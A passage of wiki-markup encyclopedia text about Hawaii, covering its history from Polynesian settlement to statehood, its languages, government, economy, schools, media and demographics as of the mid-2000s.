Local climates vary considerably on each island, grossly divisible into [[windward]] (''ko{{okina}}olau'') and [[leeward]] (''{{okina}}ewa'') areas based upon location relative to the higher mountains.  Windward sides face the Northeast Trades and receive much more rainfall; leeward sides are drier: less rain and less cloud cover.  This fact is utilized by a tourist industry sitting resorts on sunny, leeward coasts.

==History==
''Main article: [[History of Hawaii|History of Hawai'i]]''
===Hawaiian antiquity===
''Main article: [[Ancient Hawaii|Ancient Hawai{{okina}}i]], [[Hawaiian mythology]], [[Polynesian mythology]]''

[[Anthropology|Anthropologists]] believe that [[Polynesians]] from the [[Marquesas Islands|Marquesas]] and [[Society Islands]] first populated the Hawaiian Islands in approximately 300 AD, followed by [[Tahiti]]an settlers in approximately 1300 AD who conquered and eliminated the original inhabitants of the islands.  These Tahitian conquerors preserved memories of their migrations orally through [[genealogy|genealogies]] and [[folk tale]]s, like the stories of [[Hawaiiloa|Hawai{{okina}}iloa]] and [[Paʻao|Pa{{okina}}ao]]. Relations with other Polynesian groups were sporadic during the early migratory periods, and Hawai{{okina}}i grew from small settlements to a complex society in near isolation.  

Voyaging between Hawai'i and the South Pacific apparently ceased with no explanation several centuries before the arrival of the Europeans.  Local chiefs called [[alii|ali{{okina}}i]] ruled their settlements and fought to extend their sway and defend their communities from predatory rivals.  Warfare was endemic. The general trend was toward chiefdoms of increasing size, even encompassing whole islands.

Vague reports by various European explorers suggest that Hawai{{okina}}i was visited by foreigners well before the [[1778]] arrival of [[United Kingdom|British]] [[exploration|explorer]] [[Captain James Cook]].  Historians credited Cook with the discovery after he was the first to plot and publish the geographical coordinates of the Hawaiian Islands.  Cook named his discovery the Sandwich Islands in honor of one of his sponsors, [[John Montagu, 4th Earl of Sandwich]].

===Hawaiian kingdom===
''Main article: [[Kingdom of Hawaii|Kingdom of Hawai{{okina}}i]]''

After a series of battles that ended in [[1795]] and peaceful cession of the island of Kaua{{okina}}i in [[1810]], the Hawaiian Islands were united for the first time under a single ruler who would become known as [[Kamehameha I|King Kamehameha the Great]]. He established the [[House of Kamehameha]], a dynasty that ruled over the kingdom until [[1872]]. One of the most important events during those years was the [[Roman Catholic Diocese of Honolulu|suppression of the Hawaii Catholic Church]].  

That led to the [[Edict of Toleration (Hawaii)|Edict of Toleration]] that established [[religious freedom]] in the Hawaiian Islands.  The death of the bachelor [[Kamehameha V|King Kamehameha V]] who did not name an [[heir]] resulted in the [[election]] of [[William C. Lunalilo|King Lunalilo]].  After him, governance was passed on to the [[House of Kalakaua|House of Kalākaua]]. 

Several years into Kalakaua's reign, in response to what was seen as growing royal corruption and maladministration, a group of American and European businessmen in Hawai{{okina}}i, who had for many years participated in Kingdom government at the highest levels, forced [[King Kalākaua]] to sign the [[Bayonet Constitution]] in 1887, which effectively rendered the monarchy powerless. Among other things, it stripped the king of his administrative authorities, eliminated voting rights for all Asians, and required specific income and property requirements for all other American, European and native Hawaiian voters, essentially limiting the electorate to wealthy elite Americans, Europeans and native Hawaiians. [[David Kalakaua|King Kalākaua]] reigned until his death in [[1891]]. 

His sister, [[Liliuokalani|Lili{{okina}}uokalani]], succeeded him to the throne and ruled until her dethronement in [[1893]]. Her overthrow, by a [[coup d'état]] orchestrated by American and European businessmen, was sparked by the queen's threat to abrogate the constitution. Even though she backed down at the last moment, members of the expatriate community formed a Committee of Safety which mounted a nearly bloodless coup and established a provisional government. On May 30, 1894 a constitutional convention drafted a constitution for a Republic of Hawaii. The Republic was declared on July 4, 1894.

The overthrow of the monarchy was a cataclysmic event in Hawaiian history and is still the subject of much controversy. For further discussion, see [[Overthrow of the Hawaiian monarchy]]. 

During the kingdom era and subsequent republican regime, [[Iolani Palace|{{okina}}Iolani Palace]] &amp;mdash; the only official royal residence in the United States today &amp;mdash; served as the capitol buildings.

&lt;center&gt;&lt;gallery&gt;
Image:Kamehamehaportrait.jpg|Kamehameha
Image:Kamehamehaii.jpg|Kamehameha II
Image:Kamehamehaiii.jpg|Kamehameha III
Image:Alexanderliholiho.jpg|Kamehameha IV
Image:Kamehamehav.jpg|Kamehameha V
Image:Williamcharleslunalilo.jpg|Lunalilo
Image:Kalakauapainting.jpg|Kalākaua
Image:Liliuokalani2.jpg|Lili{{okina}}uokalani
&lt;/gallery&gt;&lt;/center&gt;

===Hawaiian territory===
''Main article: [[Territory of Hawaii|Territory of Hawai{{okina}}i]]''

When William McKinley won the presidential election in November of 1896, the question of Hawaii's annexation to the U.S. was again opened. The previous president, Grover Cleveland, was a friend of Queen Liliuokalani. He had remained opposed to annexation until the end of his term, but McKinley was open to persuasion by U. S. expansionists and by annexationists from Hawaii. He agreed to meet with a committee of annexationists from Hawaii, Lorrin Thurston, Francis Hatch and William Kinney. After negotiations, in June of 1897, McKinley signed a treaty of annexation with these representatives of the Republic of Hawaii. The President then submitted the treaty to the U. S. Senate for approval.

Annexation of Hawai'i to the United States was protested by petition drives run by Hui Aloha ‘Aina and Hui Kalai‘aina, that gained nearly 22,000 signatures in opposition to annexation on one petition, and approximately 17,000 signatures in favor of reinstating the monarchy on another.  Only the 22,000 signatures opposing annexation were presented to the U.S. in protest, and the other 17,000 claimed signatures have never been uncovered to this date.  The validity of the petition that was submitted was criticized at the time by Lorrin Thurston in an [http://libweb.hawaii.edu/digicoll/annexation/petition/pet820.html analysis] which indicated significant fraud.

Despite some opposition in the islands, the [[Newlands Resolution]] was passed by the House [[June 15]], [[1898]], by a vote of 209 to 91, and by the Senate on [[July 6]], [[1898]], by a vote of 42 to 21, formally annexing Hawai{{okina}}i as a U.S. territory in spite of opposition in the Congress [Schamel, Wynell and Charles E. Schamel, 1999][http://www.alohaquest.com/archive/treaty_annexation_1897.htm][http://www.archives.gov/education/lessons/hawaii-petition/].  Although its legality was questioned by some because it was a resolution, not a treaty, both houses of Congress carried the measure with 2/3rd majorities, whereas a treaty would have only required 2/3rds of the Senate (Article II, Sec 2, U.S. Constitution).  

In [[1900]], it was granted self-governance and retained {{okina}}Iolani Palace as the territorial capitol building.  Though several attempts were made to achieve statehood, Hawai{{okina}}i remained a territory for sixty years.  Plantation owners, like those who comprised the so-called [[Big Five (Hawaii)|Big Five]], found territorial status convenient, enabling them to continue importing cheap foreign labor; such immigration was prohibited in various other states of the Union. 

The power of the plantation owners was finally broken by activist descendants of original immigrant laborers.  Because they were born in a U.S. territory, they were legal U.S. citizens.  Expecting to gain full voting rights, they actively campaigned for statehood for the Hawaiian Islands.  

In March [[1959]], both houses of Congress passed the Admission Act and U.S. President [[Dwight D. Eisenhower]] signed it into law. (The act excluded [[Palmyra Atoll]], part of the Kingdom and Territory of Hawai{{okina}}i, from the new state.)  On June 27 of that year, a [[plebiscite]] was held asking residents of Hawai{{okina}}i to vote on accepting the statehood bill.  Hawai{{okina}}i voted 17 to 1 to accept.  On August 21, church bells throughout Honolulu were rung upon the proclamation that Hawai{{okina}}i was the 50th state of the Union.

===Hawaiian statehood===
After statehood, Hawai{{okina}}i quickly became a modern state with a construction boom and rapidly growing economy.  The [[Hawaii Republican Party|Hawai{{okina}}i Republican Party]], which was strongly supported by the plantation owners, was voted out of office.  In its place, the [[Democratic Party of Hawaii|Democratic Party of Hawai{{okina}}i ]] dominated state politics for forty years.  The state also worked toward restoring the native Hawaiian culture.  The [[1978 Hawaii State Constitutional Convention|Hawai{{okina}}i State Constitutional Convention of 1978]] heralded what some called a Hawaiian renaissance.  Its delegates created programs that sought to revive the indigenous Hawaiian language and culture. In addition, they sought to promote native control over Hawaiian issues by creating the [[Office of Hawaiian Affairs]].

==Languages==
''Main articles: [[Hawaiian language]], [[Hawaiian English]]''

The state of Hawai{{okina}}i has two official languages as prescribed by the [[Constitution of Hawaii|Constitution of Hawai{{okina}}i]] adopted at the [[1978 Hawaii State Constitutional Convention|1978 constitutional convention]]: [[Hawaiian language|Hawaiian]] and [[English language|English]].  Article XV, Section 4 requires the use of Hawaiian in official state business such as public acts, documents, laws and transactions.  Standard [[Hawaiian English]], a subset of [[American English]], is also commonly used for other formal business.  Hawaiian is legally acceptable in all legal documents, from depositions to legislative bills. The third and fourth most spoken languages are [[Tagalog]] and [[Japanese language|Japanese]], respectively.

===Origins===
Before the arrival of [[Captain James Cook]], the Hawaiian language was purely a spoken language.  The first written form of Hawaiian was developed by American [[Protestant]] [[missionaries]] in Hawai{{okina}}i during the early 19th century.  The missionaries assigned letters from the English alphabet that roughly corresponded to the Hawaiian sounds. Later, additional characters were added to clarify pronunciation.  

The ''[[okina|{{okina}}okina]]'' indicates a [[glottal stop]] while the [[macron]] called ''[[Hawaiian language|kahakō]]'' signifies a long vowel sound.  When a Hawaiian word is spelled without any necessary {{okina}}okina and kahakō, it is impossible for someone who does not already know the word to guess at the proper pronunciation. 

Omission of the {{okina}}okina and kahakō in printed texts can even obscure the meaning of the word.  For example, the word ''lanai'' means stiff-necked.  However, when spelled as ''lānai'' it means [[veranda]] while ''Lāna{{okina}}i'' refers to an island. This can be a problem in interpreting 19th century Hawaiian texts recorded in the older orthography. For these reasons, careful writers use the modern Hawaiian orthography.

===Revival===
As a result of the constitutional provision, interest in the Hawaiian language was revived in the late 20th century.  Public and independent schools throughout the state began teaching Hawaiian language standards as part of the regular curricula, beginning with preschool.  With the help of the [[Office of Hawaiian Affairs]], also created by the [[1978]] constitutional convention, specially designated Hawaiian language immersion schools were established where students would be taught in all subjects using Hawaiian.  Also, the [[University of Hawaii System|University of Hawai{{okina}}i System]] developed the only Hawaiian language graduate studies program in the world.  Municipal codes were altered in favor of Hawaiian place and street names for new civic developments.

===Pidgin===
Over the course of Hawaiian history, a third language was developed that is in common use throughout the state today.  Originally considered a [[dialect]] of Hawaiian English, cultural anthropologists have recently reached consensus that [[Hawaiian Pidgin]] is a distinct [[language]] on its own.  Hawaiian Pidgin finds its origins in the [[sugarcane]] and [[pineapple]] plantations as laborers from different cultures were forced to find their own ways of communicating and understanding each other.  Laborer emigrants from different countries &amp;mdash; [[China]], [[Japan]], [[Korea]], [[Philippines]], [[Portugal]] &amp;mdash; began composing their own words and phrases based on their own language traditions, which merged with Hawaiian and Hawaiian English.

===Debates===
A somewhat divisive political issue that has arisen since the Constitution of Hawai{{okina}}i adopted Hawaiian as an official state language is the exact spelling of the state's name.  As prescribed in the [[Admission Act|Admission Act of 1959]] that granted Hawaiian statehood, the federal government recognizes ''Hawaii'' to be the official state name.  However, many state and municipal entities and officials have recognized ''Hawai{{okina}}i'' to be the correct state name.  

Official government publications, as well as department and office titles, use the traditional Hawaiian spelling.  Private entities, including local mass media, also have shown a preference for the use of the {{okina}}okina.  While in local Hawaiian society the spelling and pronunciation of ''Hawai{{okina}}i'' is preferred in nearly all cases, even by standard [[English language|English]] speakers, the federal spelling is used for purposes of interpolitical relations between other states and foreign governments.

The nuances in the Hawaiian language debate are often not obvious or well-appreciated outside Hawai{{okina}}i.  The issue has often been a source of friction in situations where correct naming conventions are mandated, as people frequently disagree over which spelling is correct or incorrect, and where it is correctly or incorrectly applied.

===See also===
* [[Hawaiian alphabet]]

==Government==
The state government of Hawai{{okina}}i is modeled after the federal government with adaptations originating from the kingdom era of Hawaiian history. As codified in the [[Constitution of Hawaii|Constitution of Hawai{{okina}}i]], there are three branches of government: executive, legislative and judicial.

The executive branch is led by the [[Governor of Hawaii|Governor of Hawai{{okina}}i]] and assisted by the [[Lieutenant Governor of Hawaii|Lieutenant Governor of Hawai{{okina}}i]], both elected on the same ticket.  The governor, in residence at [[Washington Place]], is the only public official elected for the state government in a statewide race; all other administrators and judges are appointed by the governor.  The lieutenant governor is concurrently the [[Secretary of State]] of Hawai{{okina}}i.  Both the governor and lieutenant governor administer their duties from the [[Hawaii State Capitol|Hawai{{okina}}i State Capitol]].  The governor and lieutenant governor oversee the major agencies and departments of the executive of which there are twenty.

The legislative branch consists of the [[Hawaii State Legislature|Hawai{{okina}}i  State Legislature]] &amp;mdash; the twenty-five members of the [[Hawaii State Senate|Hawai{{okina}}i State Senate]] led by the [[President of the Senate]] and the fifty-one members of the [[Hawaii State House of Representatives|Hawai{{okina}}i State House of Representatives]] led by the [[Speaker of the House]]. They also govern from the Hawai{{okina}}i State Capitol.  The judicial branch is led by the highest state court, the [[Hawaii State Supreme Court|Hawai{{okina}}i State Supreme Court]], which uses [[Aliiolani Hale|Ali{{okina}}iolani Hale]] as its chambers. Lower courts are organized as the [[Hawaii State Judiciary|Hawai{{okina}}i State Judiciary]].

The state is represented in the [[Congress of the United States]] by a [[U.S. Congressional Delegations from Hawaii|delegation of four members]].  They are the senior and junior [[United States Senate|United States Senators]], the representative of the [[First Congressional District of Hawaii|First Congressional District of Hawai{{okina}}i]] and the representative of the [[Second Congressional District of Hawaii|Second Congressional District of Hawai{{okina}}i]].  Many Hawai{{okina}}i residents have been appointed to administer other agencies and departments of the federal government by the [[President of the United States]].  All federal officers of Hawai{{okina}}i administer their duties locally from the [[Prince Kuhio Federal Building]] near the [[Aloha Tower]] and [[Honolulu Harbor]].

Hawaii is primarily dominated by the Democratic Party and has supported Democrats in 10 of the 12 presidential elections in which it has participated.  In 2004, John Kerry won the state's 4 electoral votes by a margin of 9 percentage points with 54% of the vote.  Every county in the state supported the Democratic candidate.

The Prince Kuhio Federal Building also houses agencies of the federal government such as the [[Federal Bureau of Investigation]], [[Internal Revenue Service]] and the [[United States Secret Service]].  The building is the site of the federal courts and the offices of the [[United States Attorney for the District of Hawaii]], principal [[law enforcement officer]] of the [[United States Department of Justice]] in the [[United States District Court for the District of Hawaii]].

&lt;center&gt;&lt;gallery&gt;
Image:Lindalingle.jpg|[[Linda Lingle]]&lt;br&gt;Governor&lt;br&gt;(Republican)
Image:Jamesaiona.jpg|[[James R. Aiona, Jr.]]&lt;br&gt;Lieutenant Governor&lt;br&gt;(Republican)
Image:Daniel Inouye.jpg|[[Daniel Inouye]]&lt;br&gt;U.S. Senator&lt;br&gt;(Democrat)
Image:Daniel Akaka.jpg|[[Daniel Akaka]]&lt;br&gt;U.S. Senator&lt;br&gt;(Democrat)
Image:Neilabercrombie.jpg|[[Neil Abercrombie]]&lt;br&gt;U.S. Representative&lt;br&gt;(Democrat)
Image:Edcaseofficial.jpg|[[Edward Case]]&lt;br&gt;U.S. Representative&lt;br&gt;(Democrat)
Image:Mayorharrykim.jpg|[[Harry Kim (politician)|Harry Kim]]&lt;br&gt;Mayor of Hawai{{okina}}i&lt;br&gt;(Nonpartisan)
Image:Mufihannemann.jpg|[[Mufi Hannemann]]&lt;br&gt;Mayor of Honolulu&lt;br&gt;(Nonpartisan)
Image:Mayoralanarakawa.jpg|[[Alan Arakawa]]&lt;br&gt;Mayor of Maui&lt;br&gt;(Nonpartisan)
&lt;/gallery&gt;&lt;/center&gt;

Unique to Hawai{{okina}}i is the way it has organized its municipal governments.  There are no incorporated cities in Hawai{{okina}}i except the [[City &amp; County of Honolulu]].  All other municipal governments are administered at the [[County (United States)|county level]].  The county executives are the [[Mayor of Hawaii|Mayor of Hawai{{okina}}i]], [[Mayor of Honolulu]], [[Mayor of Kauai|Mayor of Kaua{{okina}}i]] and [[Mayor of Maui]].  All mayors in the state are elected in [[nonpartisan]] races.

The officers of the federal and state governments have been historically elected from the [[Democratic Party of Hawaii|Democratic Party of Hawai{{okina}}i]] and the [[Hawaii Republican Party|Hawai{{okina}}i Republican Party]].  Municipal charters in the state have declared all mayors to be elected in [[nonpartisan]] races.

==Economy==
[[Image:wiki_hawaii.jpg|thumb|350px|Greetings from Hawaii]]
The history of Hawai{{okina}}i can be traced through a succession of dominating [[industry|industries]]: [[sandalwood]], [[whaling]], [[sugarcane]], [[pineapple]], [[military]], [[tourism]], and [[education]].  Since statehood was achieved in [[1959]], tourism continues to be the largest industry in Hawai{{okina}}i, contributing 24.3% of the Gross State Product (GSP) in 1997.  New efforts are underway to diversify the economy.  The total gross output for the state in [[2003]] was USD $47 billion; per capita income for Hawai{{okina}}i residents was USD $30,441. 

Industrial exports from Hawai{{okina}}i include food processing and apparel. These industries play a small role in the Hawai{{okina}}i economy, however, due to the considerable shipping distance to markets on the west coast of the United States and ports of [[Japan]]. The main agricultural exports are [[Nursery (horticulture)|nursery]] [[Plant propagation|stock]] and [[flower]]s, [[coffee]], [[macadamia nut]]s, [[pineapple]], [[livestock]], and [[sugar cane]]. Agricultural sales for [[2002]], according to the Hawai{{okina}}i Agricultural Statistics Service, were USD $370.9 million from diversified agriculture, USD $100.6 million from pineapple, and USD $64.3 million from sugarcane.

Hawai{{okina}}i is known for its relatively high per capita state tax burden. In the years [[2002]] and [[2003]], Hawai{{okina}}i residents had the highest state tax per capita at USD $2,757 and USD $2,838 respectively.  This rate can be explained partly by the fact that services such as education, health care and social services are all rendered at the state level &amp;mdash; as opposed to the municipal level as all other states.  

Millions of tourists contribute to the collection figure by paying the [[general excise tax]] and hotel room tax; thus not all the taxes collected come directly from residents. Business leaders, however, have often considered the state's tax burden as being too high, contributing to both higher prices and the perception of an unfriendly business climate [http://starbulletin.com/2004/05/21/news/story1.html]. See the [[:Category:Business in Hawaii|list of businesses in Hawai{{okina}}i]] for more information on commerce in the state.

==Education==
''Main article: [[Hawaii State Department of Education|Hawai{{okina}}i State Department of Education]]''

Hawai{{okina}}i is currently the only state in the union with a unified school system statewide. It is also the oldest public education system west of the [[Mississippi River]].  Policy decisions are made by the fourteen-member state Board of Education, with thirteen members elected for four-year terms and one non-voting student member.  The Board of Education sets statewide educational policy and hires the state superintendent of schools, who oversees the operations of the state Department of Education.  The Department of Education is also divided into seven districts, four on O{{okina}}ahu and one for each of the other counties.

The structure of the state Department of Education has been a subject of discussion and controversy in recent years.  The main rationale for the current centralized model is equity in school funding and distribution of resources: leveling out inequalities that would exist between highly populated O{{okina}}ahu and the more rural Neighbor Islands, and between lower-income and more affluent areas of the state.  This system of school funding differs from many localities in the United States where schools are funded from local property taxes.

However, policy initiatives have been made in recent years toward decentralization.  Current Governor Linda Lingle is a proponent of replacing the current statewide board with seven elected district boards. The Democrat-controlled state legislature opposed her proposal, instead favoring expansion of decision-making power to the schools and giving schools more discretion over budgeting.  Political debate of structural reform is likely to continue for the foreseeable future.

===Schools and academies===
Hawai{{okina}}i has the distinction of educating more students in independent institutions of secondary education than any other state in the United States.  It also has four of the largest [[independent school|independent schools]]: [[Mid-Pacific Institute]], [[Iolani School|{{okina}}Iolani School]], [[Kamehameha Schools]] and [[Punahou School]].  

Other popular independent schools include: [[Hawaii Baptist Academy|Hawai{{okina}}i Baptist Academy]], [[Hawaii Preparatory Academy|Hawai{{okina}}i Preparatory Academy]], [[Maryknoll School]], [[St. Andrew's Priory]], and [[Saint Louis School]].  A highly rated public high school often cited as comparable to the state's independent schools is [[Moanalua High School]].  

Both independent and charter schools can select their students, while the regular public schools must take all students in their district. For a comprehensive list of independent schools, see the [[:Category:Private education in Hawaii|list of independent schools in Hawai{{okina}}i]].  For a comprehensive list of public schools, see the [[:Category:Public education in Hawaii|list of public schools in Hawai{{okina}}i]].

===Colleges and universities===
Graduates of institutions of secondary learning in Hawai{{okina}}i often either enter directly into the work force or attend colleges and universities.  While many choose to attend colleges and universities on the mainland or elsewhere, most choose to attend one of many institutions of higher learning in Hawai{{okina}}i.  

The largest of these institutions is the [[University of Hawaii|University of Hawai{{okina}}i System]].  Its main campuses are in [[University of Hawaii at Hilo|Hilo]], [[University of Hawaii at Manoa|Manoa]] and [[University of Hawaii-West Oahu|West O{{okina}}ahu]].  Students choosing private education attend [[Brigham Young University Hawaii|Brigham Young University Hawai{{okina}}i]], [[Chaminade University of Honolulu]], [[Hawaii Pacific University|Hawai{{okina}}i Pacific University]] and [[University of the Nations]].  

The [[Saint Stephen Diocesan Seminary, Honolulu|Saint Stephen Diocesan Center]] is a [[seminary]] of the [[Roman Catholic Diocese of Honolulu]].  For a comprehensive list of colleges and universities, see the [[:Category:Universities and colleges in Hawaii|list of colleges and universities in Hawai{{okina}}i]].

===Problems===
Public schools in Hawai{{okina}}i have to deal with large populations of children of non-native English speaking immigrants and a culture that is different in many ways from mainland US, where most of the course materials come from and where most of the standards for schools are set.  

The public elementary, middle, and high school scores in Hawai{{okina}}i tend to be below average on national tests as mandated under the [[No Child Left Behind Act]].  Some of this can be attributed to the Hawai{{okina}}i State Board of Education requiring all eligible students to take these tests and reporting all student test scores unlike, for example, Texas and Michigan.  Results reported in August 2005 indicate that two-thirds of Hawai{{okina}}i's schools failed to reach federal minimum performance standards in math and reading (of 282 schools across the state, 185 failed [http://www.thehawaiichannel.com/education/4870699/detail.html]). 

On the other hand, results of the [[ACT (examination)|ACT college placement tests]] show that Hawai{{okina}}i class of 2005 seniors scored slightly above the national average (21.9 compared with 20.9) (Honolulu Advertiser, Aug. 17, 2005, p. B1).  It should be noted that fewer students take the ACT examination than take the more widely accepted [[SAT]] examination. On the SAT Hawai{{okina}}i's college bound seniors tend to score below the national average except in math.

Hawai{{okina}}i, like all other states in the United States, is struggling to provide educational services in its public schools with shrinking budgets.

==Media==
===Newspapers===
Two major competing Honolulu-based [[newspaper]]s serve all of Hawai{{okina}}i.  The ''[[Honolulu Advertiser]]'' is owned by [[Gannett Corporation|Gannett Pacific Corporation]] while the ''[[Honolulu Star-Bulletin]]'' is owned by [[Black Press]] of [[British Columbia]] in [[Canada]].  Both are among the largest newspapers in the United States in terms of circulation.  Other locally published newspapers are available to residents of the various islands.  

The Hawai{{okina}}i business community is served by the ''[[Pacific Business News]]'' and ''[[Hawaii Business Magazine|Hawai{{okina}}i Business Magazine]]''.  The largest religious community in Hawai{{okina}}i is served by the ''[[Hawaii Catholic Herald|Hawai{{okina}}i Catholic Herald]]''.  ''[[Honolulu Magazine]]'' is a popular magazine that offers local interest news and feature articles.  

Apart from the mainstream press, the state also enjoys a vibrant ethnic publication presence with newspapers for the Chinese, Filipino, Japanese, Korean and Native Hawaiian communities.  In addition, there is an alternative weekly, the ''[[Honolulu Weekly]]''.

===Television===
All the major television networks are represented in Hawai{{okina}}i through [[KFVE]] ([[The WB Television Network|WB network affiliate]]), [[KGMB]] ([[CBS|CBS network affiliate]]), [[KHET]] ([[PBS|PBS network affiliate]]), [[KHNL]] ([[NBC|NBC network affiliate]]), [[KHON]] ([[Fox Broadcasting Company|Fox network affiliate]]), [[KIKU]] ([[UPN|UPN network affiliate]]) and [[KITV]] ([[American Broadcasting Company|ABC network affiliate]]), among others.  From Honolulu, programming at these stations is rebroadcast to the various other islands via networks of satellite transmitters. Until the advent of satellite, most network programming was broadcast a week behind mainland scheduling.  

The various production companies that work with the major networks have produced television series and other projects in Hawai{{okina}}i.  Most notable were police dramas like ''[[Magnum P.I.]]'' and ''[[Hawaii Five-O]]''.  Currently, the hit TV show ''[[Lost (TV series)|Lost]]'' is filmed in the Hawaiian Islands.  A comprehensive list of such projects can be seen at the [[Hawaii Film Office|list of Hawai{{okina}}i television series]].

===Film===
Hawai{{okina}}i has a growing film industry administered by the state through the [[Hawaii Film Office|Hawai{{okina}}i Film Office]]. Several television shows, movies and various other media projects were produced in the Hawaiian Islands taking advantage of the natural scenic landscapes as backdrops. Notable films produced in Hawai{{okina}}i or were inspired by Hawai{{okina}}i include ''[[Hawaii (1966 movie)|Hawaii]]'', ''[[Blue Hawaii]]'', ''[[From Here to Eternity]]'', ''[[South Pacific (musical)|South Pacific]]'', ''[[Raiders of the Lost Ark]]'', ''[[Jurassic Park]]'', ''[[Outbreak]]'', ''[[Waterworld]]'', ''[[Six Days Seven Nights]]'', ''[[George of the Jungle]]'', ''[[50 First Dates]]'', ''[[Pearl Harbor (movie)|Pearl Harbor]]'', ''[[Blue Crush]]'',''[[Lilo &amp; Stitch]]'' and the series ''[[Lost (TV series)|Lost]]''.

Hawai{{okina}}i is home to a prominent [[film festival]] known as the [[Hawaii International Film Festival]].

==Culture==
:''Main article: [[Culture of Hawaii|Culture of Hawai{{okina}}i]]''

The [[indigenous peoples|aboriginal]] culture of Hawai{{okina}}i is [[Polynesia]]n.  Hawai{{okina}}i represents the northernmost extension of the vast [[Polynesia|Polynesian triangle]] of the south and central [[Pacific Ocean]].  While traditional Hawaiian culture remains only as vestiges influencing modern Hawaiian society, there are reenactments of ancient ceremonies and traditions throughout the islands.  Some of these cultural influences are strong enough to have affected the culture of the [[United States]] at large, including the popularity (in greatly modified form) of ''[[luau|lu{{okina}}au]]s'' and ''[[hula]]''.

* [[Customs and etiquette in Hawaii|Customs and etiquette in Hawai{{okina}}i]]
* [[Folklore in Hawaii|Folklore in Hawai{{okina}}i]]
* [[Hawaiian mythology]]
* [[List of Hawaii state parks|List of Hawai{{okina}}i state parks]]
* [[Hawaii State Landmark|List of Hawai{{okina}}i State Landmarks]]
* [[List of Hawaii-related topics|List of Hawai{{okina}}i-related topics]]
* [[Literature in Hawaii|Literature in Hawai{{okina}}i]]
* [[Music of Hawaii|Music of Hawai{{okina}}i]]
* [[Polynesian mythology]]
* [[Tourism in Hawaii|Tourism of Hawai{{okina}}i]]

==Demographics==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 632,772
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 768,561
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 964,691
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 1,108,229
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 1,211,537
|}

As of 2005, Hawaii has an estimated population of 1,275,194, which is an increase of 13,070, or 1.0%, from the prior year and an increase of 63,657, or 5.3%, since the year 2000.  This includes a natural increase since the last census of 48,111 people (that is 96,028 births minus 47,917 deaths) and an increase due to net migration of 16,956 people into the state.  Immigration from outside the United States resulted in a net increase of 30,068 people, and migration within the country produced a net loss of 13,112 people.

Hawai{{okina}}i has a de facto population of over 1.3 million due to military presence and tourists. [[Oahu|O{{okina}}ahu]] is the most populous island, with a resident population of just under one million.

Hawaii was the first [[majority-minority state]] in the United States since the 20th century. According to the 2000 Census, 6.6% of Hawai{{okina}}i's population identified themselves as [[Native Hawaiian]], 24.3% were White or [[whites|Caucasian]], including [[Portugal|Portuguese]] and 41.6% were [[Asian]], including 0.1% [[Asian Indian]], 4.7% [[Chinese in Hawaii|Chinese]], 14.1% [[Filipino American|Filipino]], 16.7% [[Japanese in Hawaii|Japanese]],  1.9% [[Koreans in Hawaii|Korean]] and 0.6% [[Vietnamese people|Vietnamese]].  1.3% were other [[Pacific Islander]], which includes [[Samoan]], [[Tongan]], [[Tahitian people|Tahitian]], [[Māori]] and [[Micronesian]], and 21.4% described themselves as mixed (two or more races/ethnic groups).  1.8% were [[Black (U.S. Census)|Black]] or [[African American]] and 0.3% were [[Native American (U.S. Census)|Native American]] and [[Alaska Native]]. 

The second group of foreigners to arrive upon Hawai{{okina}}i's shores, after the Europeans, were the [[Chinese people|Chinese]]. Chinese employees serving on Western trading ships disembarked and settled starting in 1789.  In 1820 the first American missionaries arrived in Hawai{{okina}}i to preach Christianity and teach the Hawaiians what the missionaries considered &quot;civilized&quot; ways. A large proportion of Hawai{{okina}}i's population has become a people of Asian ancestry (especially Chinese, Japanese and Filipino), many of whom are descendants from those waves of early foreign immigrants brought to the islands in the nineteenth century, beginning in the 1850's, to work on the sugar plantations.  The first 153 [[Japanese people|Japanese]] immigrants arrived in Hawai{{okina}}i on [[June 19]], 1868.  They were not &quot;legally&quot; approved by the Japanese government established after the [[Meiji Restoration]] because the contract was between a broker and the by then terminated [[Tokugawa shogunate]]. The first Japanese government-approved immigrants arrived in Hawai{{okina}}i on [[February 9]], 1885 after Kalākaua's petition to [[Emperor Meiji]] when Kalākaua visited Japan in [[1881]])

The largest city is the capital, [[Honolulu]], located along the southeast coast of the island of O{{okina}}ahu. Other populous cities include [[Hilo, Hawaii|Hilo]], [[Kaneohe, Hawaii|Kāne{{okina}}ohe]], [[Kailua, Hawaii|Kailua]], [[Pearl City, Hawaii|Pearl City]], [[Kahului, Hawaii|Kahului]], and [[Kailua-Kona, Hawaii|Kailua-Kona]].

As of 2000, 73.4% of Hawai{{okina}}i residents age 5 and older speak [[English language|English]] at home and 7.9% speak Pacific Island languages. [[Tagalog language|Tagalog]] is the third most spoken language at 5.4%, followed by [[Japanese language|Japanese]] at 5.0% and [[Chinese language|Chinese]] at 2.6%.

*[[Religion]]
**[[Christian]]                             = 68%
***[[Protestant]]                            = 42%
****[[Congregational]]/[[United Church of Christ]]= 3%
****[[Baptist]]                               = 2%
****[[Methodist]]                             = 2%
***[[Catholic]]                              = 24%
***[[LDS]]                                = 2%
**[[Agnostic]]/non-religious                = 18%
**[[Buddhist]]                              = 9%
**Other (e.g. [[Shinto]], [[Tao]], [[Paganism|pagan]])        = 5%

* ''See also'': [[Richest Places in Hawaii|Richest Places in Hawai{{okina}}i]]

==Famous people from Hawai{{okina}}i==
The [[list of famous people from Hawaii|list of famous people from Hawai{{okina}}i]] is a comprehensive, alphabetized list of persons who have achieved fame that presently or at one time claimed Hawai{{okina}}i as their home. Separate registers of members of the [[:Category:Royal Family of Hawaii|Hawaiian royal family]] and [[List of Hawaii politicians|Hawai{{okina}}i politicians]] are also available.

&lt;center&gt;&lt;gallery&gt;
&lt;!-- Unsourced image removed: Image:Fatherdamien.jpg|[[Father Damien]]&lt;br&gt;Beatified towards sainthood by Pope John Paul II --&gt;
Image:Mother Marianne Cope.jpg|[[Mother Marianne Cope]]&lt;br&gt;Beatified towards sainthood by Pope Benedict XVI
